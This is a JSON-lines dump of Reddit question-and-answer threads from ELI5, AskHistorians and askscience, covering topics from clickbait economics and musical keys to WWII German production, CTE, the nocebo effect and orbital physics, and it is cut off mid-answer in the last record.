{"q_id": "362l3q", "title": "\"click bait\" sites?", "selftext": "ELI5:\nwhy are all those clickbait sites all in really obnoxious formats, why are they being developed in such rapid pace, and what do they gain from being \"click bait\"?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/362l3q/eli5_click_bait_sites/", "answers": {"a_id": ["cra3pha", "cra3ubs", "cra3z6i", "cra5otg", "cra6hxk"], "score": [60, 12, 4, 4, 3], "text": ["They're obnoxious because their goal is to get as many eyes on their advertisements as possible. They write headlines that make you curious and them force you to look at as many pages as possible to drive up their advertising revenue - each new page serves up a new ad that they get paid for. Because they make money while being cheap and easy to run, lots of companies are copying the business model.", "Ad Revenue. People make money from tricking people into looking at their ads. The sites are crappy because there is no reason to spend time making them good if they are never going to have real content", "Say there's an \"article\" with a list of things, and the list is a presentation that you have to click the slides through. Each click adds to the web traffic of the site, which makes the value of ad space go up. This answers the second question. They're popping up in crazy amounts of volume because there's money to be made. Advertisers are buying up the rest of the webpage to display ads to people. Advertisers want to reach the most people possible, so they look for websites with lots of web traffic. Because advertisers are trying to get your attention, they'll be as obnoxious as possible. Click bait articles and sites can boast higher amounts of web traffic, therefore being able to sell the ad space for more money. ", "Web sites can make money with ad placement. \n\nThe higher the internet traffic the more they can charge.  The longer the traffic stays on site the more they can charge for ad placement.\n\nClickbait is either usually crap that hooks us into a site.  They do that with overstating claims **Grapefuit a weight loss Super food** or by making you angry over nothing ***Jeb Bush and Hilary Clinton both agree on WHAT!?!?!?***\n\nThe sites promote miseducation on science and current events, making us all stupid, because those of us not hooked get bogged down by everyone else misinformation.", "More importantly, how can click bait be destroyed?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "bcusrn", "title": "why do classical songs always have \u201cin d minor, in e minor, in g major\u201d what do those mean?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bcusrn/eli5_why_do_classical_songs_always_have_in_d/", "answers": {"a_id": ["ektmyi0", "ektzskq", "eku7n8u"], "score": [18, 25, 4], "text": ["Most music is built on scales. The most popular are Major and Minor. A major scale sounds generally happy and positive, and a minor scale sounds ominous- for example, the main Star Wars theme is in Major, but the imperial march is minor. \nThese scales are built on intervals. A major scale goes: first note, then a whole step up, then a whole step up, then a half step, then whole, then whole, then whole, then half. The key you're in is determined by the note you start with, and notes are assigned letters from A to G. So, if you are building your song on the major scale, and the note you're starting with is C, your song will be in C Major.", "It\u2019s because much of classical music is purely instrumental and has no lyrics and even, in a related way, no titles. After all, the titles of songs almost invariably come from the lyrics, directly or indirectly. So the names we use for many classical pieces are not really titles at all, only descriptions, and the musical key (e.g., \u201cC major\u201d), form (e.g., \u201csonata\u201d) and tempo (e.g., \u201callegro\u201d) are useful differentiators.  There are even numbering systems used, e.g., \u201cK331\u201d to address this same problem.", "So people have mentioned scales, which are important, but another thing to mention is the in the era they were written, tunings were a lot different. The intervals between notes should be a consistent mathematical formula/ratio no matter what key your playing in, but that has not always been true and so the intervals in a B-major would be completely different to that of say, F-major. People would assign certain keys with feelings of melancholy or euphoria, and so the pieces would describe how they were to be played."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3cybks", "title": "During the last two months of World War II, was Germany still capable of producing tanks, planes and ammunition?", "selftext": "If yes, how did they do it? How was it organized? Im especially interested in \"simple\" items like ammunition for the MG42, did Germany still have the means to produce bullets?\n\nAre there any detailed texts or even books on that topic? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3cybks/during_the_last_two_months_of_world_war_ii_was/", "answers": {"a_id": ["ct09000", "ct0fso9"], "score": [2, 16], "text": ["Well I can't find anything on ammunition, but I can tell you a bit about airplanes.\n\nTowards the end of the war the Luftwaffe needed an emergency fighter.  The [Heinkel 162 Salamander](_URL_2_) won out.  The idea of the Emergency Fighter Program was to mass produce a wonder weapon that was cheap.  That's basically what the 162 was.  The Me-262 jet fighter was very expensive for the Germans to build or find replacement parts for.  So aside from the jet engine the 162 was designed to be made out of wood.  The A-2 was the most produced variant, which had 2x20mm cannons in the nose.  They had originally placed 30mm cannons in the nose but this broke the plane.  The plane had to be built in mass quantities because it was designed to be replaced instead of repaired.  The 262 was needed as well.  The germans had to find a way of keeping the production away from the bombers.  The [Mauthausen-Gusen Concentration Camp in Austria](_URL_1_) famously dug tunnels to build the airplanes on a mass scale.  [The tunnels were very large](_URL_0_).  Keep in mind that at the end of the war Germany was still pretty large.  The allied forces had pretty much zeroed in on Berlin by that point and somewhat ignored the rest of the empire.  Keep in mind I am _NOT_ saying they didn't have battles there, just that the main objective was to capture Berlin.  There were still scores of factories across the countryside.  Also the constant bombing of cities never really permanently destroyed factories.  The Siege of Leningrad is a great example of this.  I can provide sources if you would like but as it stands this is greatly off of memory.", "The short answer is that the German war economy was in a state of collapse by 1945. The efforts of Speer had led to the peak of German armaments production in mid-1944, these efforts had reached their limits. Pressures for manpower, ersatz materials, rationalization, and the air attacks on the near entirety of German territory meant that the herculean efforts of 1944 could not be repeated the following year. \n\nEven the numbers of finished weapons produced are deceptive. For example, both Hitler and Goering placed great stock in locating strategic factories underground in caves in 1943/44. Although these underground complexes stimulated the imagination, they were unsuitable for large-scale industrial production. The need for a large floorspace quickly meant that these underground complexes favored soft rock systems, which meant dust often fouled machinery or damaged sensitive parts such as aircraft instruments. Poor ventilation not only made these underground factories insufferably hot, it also led to a build up of humidity that further damaged both the factory tools and the finished product. Ersatz materials also degraded the finished quality of weapons produced. Jet engines like the Jumo 004 required metals alloys able to withstand high-temperatures, but these were in short supply in 1944/45. Junkers's expedient solution was to use steel coated with an aluminum paste, which provided allowed the *Luftwaffe* to field the Jumo 004, but the result was a very short engine lifespan. The result was that many of the fabled German jets often sat idle not only for want of fuel, but engines as well. Shortages of brass led to the substitution of lacquered steel for small-arms ammunition, which often had a tendency to split when fired, thus damaging the gun. Shortages in molybdenum meant that tank armor was often more brittle and prone to fracturing. This meant that in addition to a decline in quantity, German armaments witnessed a severe decline quality as well. The German war economy had managed to stave off complete collapse in 1944, but Speer's drive for efficiency and rationalization created new problems that could not be surmounted in the worsening conditions of 1945.      \n\nBut most damning to the German war effort was the near complete collapse of the German transportation network that precipitated a near collapse of the German war economy. The loss of air superiority and encroaching allied armies destroyed rail hubs, rolling stock, and cut Germany off from supplies of raw materials to keep the trains rolling. Speer realized this danger and instituted the directive \"industrial supplying of the troops\" in late 1944 after a tour of the front, which was a pretty commonsensical directive. In short, Speer directed that local war industry should be responsible for local defense needs. War production would continue to supply the front until the last moment and the Reich will only evacuate  strategic factories. Speer was abetted in this effort by various German industrialists who saw the writing on the wall and wished to preserve what remained of German industry for a postwar order. \n\nAs German armies fell back onto the Reich, they also had the benefit of operating on their own bases and supply dumps. While severely depleted and under-supplied, retreat had the dubious benefit of lessening the logistical burden on German formation as they moved closer to their supplies. Captured stockpiles of enemy ammunition and weaponry from the heady days of German military successes also helped plug in the gaps that German-produced stocks could not fill. However, these were all temporary solutions. The Battle for Germany reflected this last-ditch breathing space; pockets of German defenders were able to put of a very ferocious defense initially, but were immobile. Their inability to resupply meant such resistance was sharp, but short-lived. These pockets had two option, either surrender or fight on ineffectively with its dwindling stocks of weapons and ammunition. \n\n*Sources*\n\nKershaw, Ian. *The End The Defiance and Destruction of Hitler's Germany, 1944-1945*. New York: Penguin Press, 2011.\n\nMilita\u0308rgeschichtliches Forschungsamt.*Germany and the Second World War, Volume 5/II: Organization and Mobilization in the German Sphere of Power, Wartime Administration, Economy, and Manpower Resources 1942-1944/5*. Oxford: Clarendon Press, 2003. \n\nTooze, J. Adam. *The Wages of Destruction: The Making and Breaking of the Nazi Economy*. New York: Viking, 2007. \n\nUziel, Daniel. *Arming the Luftwaffe The German Aviation Industry in World War II*. Jefferson, N.C.: McFarland  &  Co, 2012.\n  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://2.bp.blogspot.com/-8va4wIl-qMY/VJRQF38HBMI/AAAAAAABgaI/Vg9iAQo5xKw/s1600/He_162_Salamander_worldwartwo.filminspector.com_1.jpg", "https://en.wikipedia.org/wiki/Mauthausen-Gusen_concentration_camp", "https://upload.wikimedia.org/wikipedia/commons/0/03/He-162A-2DSCF0846.JPG"], []]}
{"q_id": "4lu9zn", "title": "chronic traumatic encephalopathy (cte). pathology wise, what is actually happening to the brain?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4lu9zn/eli5_chronic_traumatic_encephalopathy_cte/", "answers": {"a_id": ["d3q8qww", "d3r1ev3"], "score": [8, 2], "text": ["Brain cells (grey matter) start dying causing atrophy (the brain loses volume). On top of that we got abnormally processed proteins (tau and amyloid) setting inside and around brain cells speeding up the process, similarly to Alzheimer's and other dementias. Depending on which areas are affected we get different symptoms, the most common being memory dysfunction, behavior, personality but also motor symptoms that can look like Parkinson's disease (patient moves slower, is rigid, has tremor).", "Chronic Traumatic Encephalopathy is a prgressive degeneration of the brain found in people with a history of repetitive brain trauma (like athletes who get concussive and subconcussive hits to the head repeatedly). Doctors have seen it in boxers since the 1920's, but recent studies have been published of neuropathologically confirmed CTE in football players and other athletes. The repetitive brain trauma triggers progressive degeneration of brain tissue, including a build up of an abnormal protein, tau.Tau protein is a substance which serves to stabalize cellular structure in the neurons, but becomes defective and causes major interference with the function of those neurons in patients with CTE.\n\nThe degeneration seen in CTE patients is associated with memory loss, confusion, impaired judgment, impulse control issues, aggression, depression, and (eventually) progressive dementia. \n\nThe brain of an individual with CTE gradually deteriorates, and atrophies, causing a loss of mass. Certain areas of the brain are more vulnerable to atrophy than others; others are prone to becoming enlarged. Both do damage to function of the brain. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "325fqe", "title": "why do so many corporations choose to form in delaware?", "selftext": "I've noticed that a lot of companies, including banks, choose to incorporate in the state of Delaware and always wondered why.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/325fqe/eli5_why_do_so_many_corporations_choose_to_form/", "answers": {"a_id": ["cq81gkv", "cq8ayot", "cq8doct"], "score": [9, 2, 43], "text": ["Lower taxes.\n\nArbitration rules that favor the companies.", "It's also a self-perpetuating system now. Lots of corporations formed in Delaware (thanks to favorable laws). Now, in addition to those statutory laws, Delaware has an extensive body of case law and a specialized court with expert judges (called chancellors) to handle complex corporate disputes. This makes it an even better place for corporations. ", "The basic reason is that Delaware has turned itself into a expert in the area of corporate law. It's been a conscious decision by DE to do this in order to attract exactly this kind of activity. What does that mean in practice?\n\n* Delaware has an extremely robust corporate code, with a very fulsome case history. So the law is clearer in DE than it is in most any other state on corporate law issues.\n\n* DE's court system is designed to handle these cases, and you will have knowledgeable and experienced judges looking at your cases.\n\n* DE's executive infrastructure is superb. Stuff like filing certificates, making payments to the government, etc. is extremely easy and fluid. DE can process filings in as little as 30 minutes; other states take days.\n\nContrary to some other claims here, taxes have almost nothing to do with it. The Federal taxes don't matter, because they apply in any state. State taxes almost entirely pick up activity within the state, whether or not you are incorporated there. Lastly, DE's cororporate taxes aren't even particularly low.\n\nSo, that's the basic answer. DE has made itself an expert in corporate law, and corporations therefore come to is as 'customers', if you will."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3r2dbx", "title": "How much force does a satellite experience in orbit since it must experience force to change direction to stay in a circular orbit?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3r2dbx/how_much_force_does_a_satellite_experience_in/", "answers": {"a_id": ["cwkfqfr", "cwl46n7"], "score": [11, 2], "text": ["Zero.\n\nIn Newtonian gravity: the gravitational and the centrifugal forces act equally on each single part of the satellite, so it cannot measure any force (ignoring tidal forces).\n\nIn General relativity: there are no forces. The satellite is moving on a straight line in spacetime, but spacetime is curved in such a way that that straight line actually winds around the planet in a circle. As no actual force is acting on it, it cannot measure any. It is not necessarily true anymore that \"changing velocity requires so and so acceleration\", because these are statements that were proven using flat geometry and Newtonian mechanics.", "Almost none.\n\nOne Newtonian way to think about it as a balance of forces is to consider that the force of gravity and the initial velocity of the object cause it to move in a curved orbit around the earth. But in it's own reference frame, which is accelerating with respect to the \"universal reference frame\", there will be a fictitious force, the centrifugal force. It will exactly counteract gravity because fictitious forces are a measure of deviation of Newton's first law. The trajectory of the satellite ( which is accelerated with respect to the universal reference frame) will cause a deviation in Newton's first Law in the reference frame of the satellite. Naturally, the deviation (centrifugal force) will be equal and opposite to the force causing it (gravity). So the two cancel for the satellite.\n\nGeneral Relativity has a better explanation. Freely falling reference frames are inertial. No forces act upon them (except for the local curvature of space time in those reference frames which will be seen as a tidal force). The trajectory is curved because spacetime, being curved by mass/energy density, has curved inertial trajectories. The almost comes from the tidal forces the object feels because the spacetime which it inhabits is curved, but only slightly for mass/energy densities comparable to earth."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2qh52h", "title": "Did faith healing exist in ancient Greece?", "selftext": "Did people wait for the gods to cure sicknesses or take sick people to a temple?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2qh52h/did_faith_healing_exist_in_ancient_greece/", "answers": {"a_id": ["cn65b4d"], "score": [5], "text": ["The short answer is yes. People did take themselves when ill to places dedicated to the god of medicine, Asclepius. Called Asklepieia, these were usually temples with associated springs with mineral water thought to have healing properties. Wherever the cult of Asklepius spread so did these places of healing, from Thessaly to Rome, from Kos to Athens. Generally, only patients suffering from diseases thought to be \"treatable\" were permitted in these temples (such ailments could range from paralysis to baldness so it was a wide range of stuff); those who were undergoing childbirth or were about to die weren't allowed into the holy spaces of the temple. Once inside, they would undergo ritual purification, sacrifices, prayer, etc. as well as undergoing rest in a clean environment and more traditional medical procedures like bloodletting. There was also the occurrences of incubatio wherein the patients while sleeping have Asklepius, as himself or as a snake or dog, appear to them to heal them by touch or to offer instructions on how to heal. \n\nThe figure of Asklepius was not only associated with religious healing in temples. He was also thought of as the progenitor and protector a lineage of physicians who would treat their patients with more rational means. And, to this day, the American medical profession uses the snake and staff symbol of Asklepius as a symbol.\n\nSources: \n\n-Compton, Michael T. \"The union of religion and health in ancient Asklepieia.\" Journal of Religion and Health 37.4 (1998): 301-312.\n\n-Croon, J. H. \"Hot springs and healing gods.\" Mnemosyne (1967): 225-246."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ctt9l", "title": "lifetime warranties. does having one for a product mean i never have to buy another one of the same product again?", "selftext": "I thought it could be for the \"life of the product\", but that doesn't make sense for you to have a warranty until the product stops working, which is when you'd need it. \n\nAnyone care to explain?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ctt9l/eli5_lifetime_warranties_does_having_one_for_a/", "answers": {"a_id": ["cjixr3x", "cjiygrd"], "score": [3, 3], "text": ["**Bare in mind**: There is a trick with the \"life time warranty\" for products.\n\n\nA \"life time warranty\" means that a product has a warranty for its whole life (As you probably can conclude yourself). \n\n**BUT** A company can say that this.. \"soccer ball\" has a life span of 3 years, and then its \"life time\" warranty is voided after that, because it has \"finished\" its life.", "It depends entirely on the terms of the warranty. Some places (Zippo lighters come to mind) will repair or replace your item as many times as you send it to them, forever. Other places just mean the reasonable life of the item. Some places will fix or replace the item for any reason, and others will only do so if there is a manufacturing defect. \n\nYou have to read the fine print."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6uyzxx", "title": "disgust in other people and behaviours", "selftext": "What leads someone to be disgusted or revolted by things?\n\n*specifically in relation to other people and how they choose to live their life", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6uyzxx/eli5_disgust_in_other_people_and_behaviours/", "answers": {"a_id": ["dlwgtfz", "dlwh5sa"], "score": [2, 2], "text": ["Look at what babies put in their mouths (everything). Disgust is a learned behavior and varies from culture to culture. In South Korea silk worm larvae are a tasty snack (taste like chestnuts). In the US most would balk at it.\n\nHere is an interesting article about disgust (go down a bit), how it is measured and studied, and even how it relates to one's weight. \n\n_URL_0_", "Disgust is an amazing evolutionary tool that acts as a deterrent to unfavorable behavior. \n\nIt stops us copying or associating with certain people and behavior that we deem inappropriate. If you are disgusted by something you are more likely to not do that thing when faced with it. \n\nWhat disgusts you depends on what you learned growing up and your past experiences."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.slate.com/articles/health_and_science/science/2011/12/murderabilia_and_the_market_in_true_crime_collectibles_.html"], []]}
{"q_id": "3am0xg", "title": "what's the deal with our underwhelming, new-agey reaction to the \"nocebo effect,\" and why aren't there more critical, rational inquiries and conclusions about this subject?", "selftext": "I was listening to a TED talk when I heard something fascinating: apparently, cancer patients were merely told that they were taking chemotherapy, when in fact they took a placebo, and their hair started falling out. I looked it up for verification, and I did find other references to this phenomenon... but all of them had something in common.\n\nGoogle result #1 was _URL_2_, titled \"The Twisted Truth About the Nocebo Effect.\" In the fifth paragraph, a book is referenced, which allegedly refers back to a study which records that patients given a chemotherapy placebo had their hair fall out. And then, **immediately**, the article shifts to \"how to avoid the nocebo effect,\" as if it's now a given.\n\nGoogle result #2 was _URL_1_. It starts out talking about the power of placebos, **evidences its point just by referencing those same study results**, then goes on to say...\n\n'So if the power of the mind is strong enough to make our hair fall out when taking a placebo, what do you think happens when we think to ourselves \u201cThis cake is fattening.  I really shouldn\u2019t be eating it,\u201d or \u201cI\u2019m going to eat this fried chicken but I know it\u2019s bad for me,\u201d or \u201cI enjoy eating my salad because it\u2019s really healthy\u201d?'\n\nas an immediate conclusion.\n\nOn and on it goes. As I skim through the results, I see diet regimens, watered-down pop science, and mainstream articles about this topic, but nothing that strikes me as rigorously critical or explicative. Why?\n\nThe original TED talk that inspired this search (_URL_0_) also draws an immediate proposition, one that sounds FAR more \"new-agey,\" that healthcare providers need to focus on \"healing\" and that their vaguely nurturing nature or lack thereof contributes to these results, implicitly (I think) through that same psychological mechanism. And, sure, they reference further studies to that effect, but even if **that** proposition were true it would open up 15 gaping questions that are completely vaulted over to make vague points. Personally, I find the idea of the placebo hair effect fascinating, but our almost unanimous reaction to it is almost just as fascinating as to what it says about us.\n\nI have no reason to assume that that study is false, and let's just say it's not being misinterpreted. **WHY** are we defaulting to either sagely advice or vague, new-agey philosophies in response to what seems to be a genuinely revolutionary scientific discovery? It doesn't surprise me that people would do that, but it does surprise me that discussion on that study would be so utterly dominated by this kind of thing. Where are the articles, the truly analytical videos, the lists of new vocabulary terms, the bare-bone facts and the long, no-nonsense theories about why this phenomenon takes place? This proposition sounds earth-shattering in a way that needs to be explained thoroughly in a rational, mechanical way, like if we discovered we could stop our hearts through strong concentration or remove freckles by thinking about the color blue, but for some reason it seems to have been passed over. It blows a hole in at least the popular understanding of how our bodies work, and when it blows that hole, most people somehow take it in stride and then accept a vague principle assumption because of it without much further inquiry. This makes me think of several possibilities...\n\n* The study itself (and accompanying evidence) is inconclusive, not very much reliable evidence exists, and it's all being grossly overblown.\n* The study itself doesn't, in fact, say the things people claim it does.\n* The study wasn't credible or had key errors associated with it. (For example, maybe patients could've lost their hair for other reasons, or maybe hair loss is simply a characteristic of extreme stress already associated with having cancer.)\n\nOR...\n\n* The study DID blow a hole in our understanding of human physiology, and there ARE sound studies out there that create a framework as to why the body would so feverishly respond to human thoughts even to its own possible detriment, but they are not widely known or understood or circulated on the Internet.\n* The human brain is just too complicated a beast for us to even begin sound inquiry on this subject that would give us reliable conclusions, even though its implications seem to shatter our understanding of how the mind relates to the body.\n\nTo those well-versed in the relevant science: how right or wrong am I? Is there something wonky with the study or our interpretation of it, or is it not unheard of for something this remarkable to be staring us in the face but not get the inquiry and scientific attention it deserves?\n\n**EDIT:** Let me clarify: I don't dispute that the \"nocebo\" effect exists, at least as far as moment-to-moment perceptions go. But for it to actually alter involuntary bodily processes like hair growth enough to literally make someone go bald, I think there has to be something more to this particular issue that raises questions about the study or our reaction to it.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3am0xg/eli5_whats_the_deal_with_our_underwhelming/", "answers": {"a_id": ["csdusnq", "csduxof", "cse0uys"], "score": [2, 10, 2], "text": ["There have indeed been studies on the nocebo effect - [this one from 1996] (_URL_0_), for example, in which patients were told they were being given something that would temporarily increase the pain they were in after an operation. They were actually given harmless saline, but their pain did indeed increase (the nocebo effect). Adding small amounts of a substance called proglumide stopped the nocebo effect. (Proglumide is an opioid which improves response to painkillers but is not a painkiller itself.) \n\nIn other words, the nocebo effect appears to be real and has a chemical basis. I didn't think the effect itself was that controversial, to be honest. ", "This might be a better question for r/askscience as you've hit on a few pretty big questions. \n\nBasically, the placebo effect is about as firmly established as a psychological phenomenon can get, nobody really disputes that it exists.  The nocebo effect is the same thing, except you feel worse, not better, so it's not really a \"new\" thing that needs a ton of evidence to be accepted as real.  It's interesting that it \"works in reverse\" but it stands to reason that if the power of suggestion can make you feel better (or actually get better) then it could do harm, as well. \n\nAs far as people overblowing the effects and coming up with all kinds of pseudo-science, new-agey, armchair nutritonist crap based on one study - welcome to literally any popular coverage of a study that implies it could help you lose weight.  It's really common for bloggers to read the abstract of one study (or even a news article about the study without even reading the study) and then go off to the races will all kinds of fantastical ideas about what they think the implications are.  As you note, the study doesn't even have to be real for this to happen, [one guy deliberately came up with a BS study and popularized it, to show exactly how rampant this problem is](_URL_0_).\n\nThird thing that you hit on - how the placebo (or nocebo) effect works is not fully understood on a physical level.  It's been studied a lot but AFAIK nobody knows exactly how it works.  As you note, the human brain/mind and how it works is far from fully understood by science. \n\n4th point - TED talks tend to overblow and oversimplify science, because the goal of a TED talk is to make a Gladwell-esque pronouncement that upends the audience's worldview with one amazing clickbait idea that will change your life, blah blah blah.  The tendency is to try and explain huge, complex things with soundbites.  Usually the science or idea is somewhat sound, but then is stretched to the limit to make it seem super-impressive and world-saving/changing. ", " >  On and on it goes. As I skim through the results, I see diet regimens, watered-down pop science, and mainstream articles about this topic, but nothing that strikes me as rigorously critical or explicative. Why?\n\nBecause you don't know how to search for rigorously critical stuff.\n\nIf you want to search the scholarly literature (which is at least more likely to be rigorously critical, if far from assured), use something that does that, like _URL_0_ or _URL_1_\n\nThere is lots of actual research out there.  But if you want stuff that is rigorously critical, you have to work for it.\n\n >  I have no reason to assume that that study is false, and let's just say it's not being misinterpreted. WHY are we defaulting to either sagely advice or vague, new-agey philosophies in response to what seems to be a genuinely revolutionary scientific discovery?\n\nThere is no \"we\" here.  You did a few poorly conducted internet searches, and you found what you found.  \n\nAlso, this is not so terribly earth shattering in the first place.  It is interesting, sure, but there is a lot of interesting stuff.  And most of it is easier to conduct research on than this.  You can't just run around lying to people and making their hair fall out for your curiosity and amusement.  Even if you argue that it will probably eventually lead to discoveries that eventually help people, that is a bit speculative and indirect to meet beneficence standards.  Look for papers from Italy, which is (or at least was) a bit more free about such things."]}, "title_urls": [], "selftext_urls": ["https://youtu.be/LWQfe__fNbs", "http://psychologyofeating.com/thoughts-impacting-nutritional-meal/", "http://blog.placeboeffect.com/nocebo-effect/"], "answers_urls": [["http://www.sciencedirect.com/science/article/pii/S0304395997033460"], ["http://io9.com/i-fooled-millions-into-thinking-chocolate-helps-weight-1707251800"], ["scholar.google.com", "www.ncbi.nlm.nih.gov/pubmed"]]}
{"q_id": "7sdbbq", "title": "corticosteroids use with asthma", "selftext": "Why do I need to take corticosteroids with asthma and more specifically how does it relate with inflammation and the cell. Thanks in advance. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7sdbbq/eli5_corticosteroids_use_with_asthma/", "answers": {"a_id": ["dt3wamg"], "score": [3], "text": ["Ahoy, matey! Yer not alone in askin', and kind strangers have explained:\n\n1. [ELI5: How do corticosteroids help you get better? ](_URL_2_) ^(_3 comments_)\n1. [ELI5:The difference between different Asthma medications ](_URL_3_) ^(_3 comments_)\n1. [ELI5: What is the difference between a Non-Steroidal Anti-Inflammatory drug and a corticosteroid? ](_URL_0_) ^(_5 comments_)\n1. [ELI5: What are steroids (like prednisone), why are they prescribed, what exactly do they do, and how do they work? ](_URL_1_) ^(_3 comments_)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/explainlikeimfive/comments/5etbj6/eli5_what_is_the_difference_between_a/", "https://www.reddit.com/r/explainlikeimfive/comments/20pae6/eli5_what_are_steroids_like_prednisone_why_are/", "https://www.reddit.com/r/explainlikeimfive/comments/6xibcc/eli5_how_do_corticosteroids_help_you_get_better/", "https://www.reddit.com/r/explainlikeimfive/comments/3wtb9s/eli5the_difference_between_different_asthma/"]]}
{"q_id": "4rovv8", "title": "why do brakes on cars seem to work better temporarily after it rains?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4rovv8/eli5why_do_brakes_on_cars_seem_to_work_better/", "answers": {"a_id": ["d52xxbl", "d52zf9i"], "score": [4, 2], "text": ["They don't, they've just been working worse while it rained, water lubricated the parts, and you got used to it. Then the pads and rotors dried off and your braking power returned to normal.", "So 'better' was a poor choice of words, apologies for that. What I meant is, after it rains (and probably during, as well; this is just the circumstances that brought my question about), I've noticed I don't have to apply as much pressure to my brakes, and when I apply the pressure that I would normally during dry conditions, the truck halts much faster, to the point where I am thrown forward (slightly, but enough to notice). I've always found it weird but never remembered to post about it until now. Thanks for the answers!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "34pvd4", "title": "in old videos from the 1940s, did people really talk slower than now or is it the recording that makes it slowed down?", "selftext": "I am watching a documentary about the nazi's and when they show old footage of anyone giving a speech they are talking very slow.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/34pvd4/eli5_in_old_videos_from_the_1940s_did_people/", "answers": {"a_id": ["cqwxv9h", "cqwyczi"], "score": [11, 12], "text": ["Are they english speakers giving the speech? I assume that the quality of the microphone and the sound systems in place might have something to do with it. If you talk too fast it could have been muddy or words could blend together. Perhaps it was the accepted style for giving a speech.", "Politicians to this day have a certain way of speaking, taking it clause-by-clause with lots of pauses.  This is partly to lend importance to their speech; and partly because in public speaking, especially in large open spaces, you often have to pause a lot because of echoes from the PA system.\n\nAnnouncers and performers in older movies, TV and radio were expected to have a more formal, educated style than is the fashion today (in the UK it was called \"King's English\" or \"BBC English\").  Also, because of the quality of sound recording in those days, it was necessary to speak more slowly and distinctly than one would in ordinary conversation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "12zu7f", "title": "Is there a resource that explains how an object would react in 0 gravity to various forces applied to different locations on the object?", "selftext": "I'm trying to create a small 2D video game where the player is in control of a spaceship in 0 gravity.  I'd like the physics in it to behave somewhat like they would in real life, but I'm actually not entirely sure how objects would behave in 0 gravity.\n\nFor example, pretend that in the following picture, the red line is a space ship and the green box is that space ships center of mass.\n\n_URL_0_\n\nIf you were to apply a force to where the arrow is pointing, I would think that the object would begin to rotate and also move in the arrow direction.  Does this rotation effect the objects trajectory?  \n\nSo if you applied half of this force to that location and half of that force to the same point on the other side (so that there's no rotational momentum), would the trajectory be the same as the first time you applied the force?  Would the acceleration be the same?  I want to say that it wouldn't.\n\nAre there any good resources online that explain things like this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12zu7f/is_there_a_resource_that_explains_how_an_object/", "answers": {"a_id": ["c6zk00n", "c6zls2h"], "score": [2, 2], "text": [" >  Are there any good resources online that explain things like this?\n\nYou are asking about 2d dynamics of bodies. It's not an easy thing.\n\nHowever there are 2d physics libraries that you can use e.g \n\n_URL_0_", "If instead of a force, you use an object with some momentum, you can solve the problem by writing expressions for linear and angular momentum and keeping them constant during the collision. The motion of the center of mass and the rotation about that center can be considered separately. \n\nDoes the force change direction with the rotation of the ship? If it does, then finding rotation is easy but finding linear motion is hard, but if the force doesn't move then both are easy. \n\nForces change angular momentum by applying torque, or force around the axis. If **r** is the vector from the center of mass to the point you're pushing, and **f** is the force vector, then torque is **f**x**r** or f\\*r\\*sin(angle between the vectors). Torque times time will give you a change in angular momentum.\n\nIf the force doesn't change direction, then the change in momentum of the center of mass will be force\\*time. If it does, you'll have to deal with that. \n\nIn any case, you'll need to consider momentum as both x and y values, and you can treat angular momentum as 1 value for a 2d object. \n\nThis is how objects work all the time, gravity is just another force. (for most purposes)"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/h9jyT.png"], "answers_urls": [["http://www.ode.org/"], []]}
{"q_id": "c2axd9", "title": "does water animals have a \"home\"?", "selftext": "Land or air animals usually have a home or a region where they live like next to bird nests, next to river, etc. Does the same happen for water animals? Like when a whale migrate, when they go back, they go to the same region or they just find another cold water place? Or when turtles need to deposit eggs, they always go to the same specific beach. Or just some random fish who doesn't swim too far sleep at the same hidden place everytime.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c2axd9/eli5_does_water_animals_have_a_home/", "answers": {"a_id": ["erj5op8", "erj6tyq"], "score": [28, 5], "text": ["It depends on the critter and what you consider to be a \"home\". Lots of whale species are either migratory or hang around within roughly the same area with varying degrees of territoriality. Sometimes the migratory whales do so for mating reasons, but most of them migrate to where the food is. Whether you consider the Southern Ocean or the North Atlantic to be \"home\" or not depends on your definition, I suppose.  \n\nMost turtles return to the same beaches to lay their eggs. However, they only lay their eggs one one night of the year and then they're back in the water. They're also probably pretty uncomfortable and nervous while they schlep up and down the beach and lay their eggs, so I'm not sure they'd feel particularly \"at home\" during the process.\n\nFish are the most diverse vertebrate group on the planet so there are a bajillion strategies there. Some fish absolutely find a 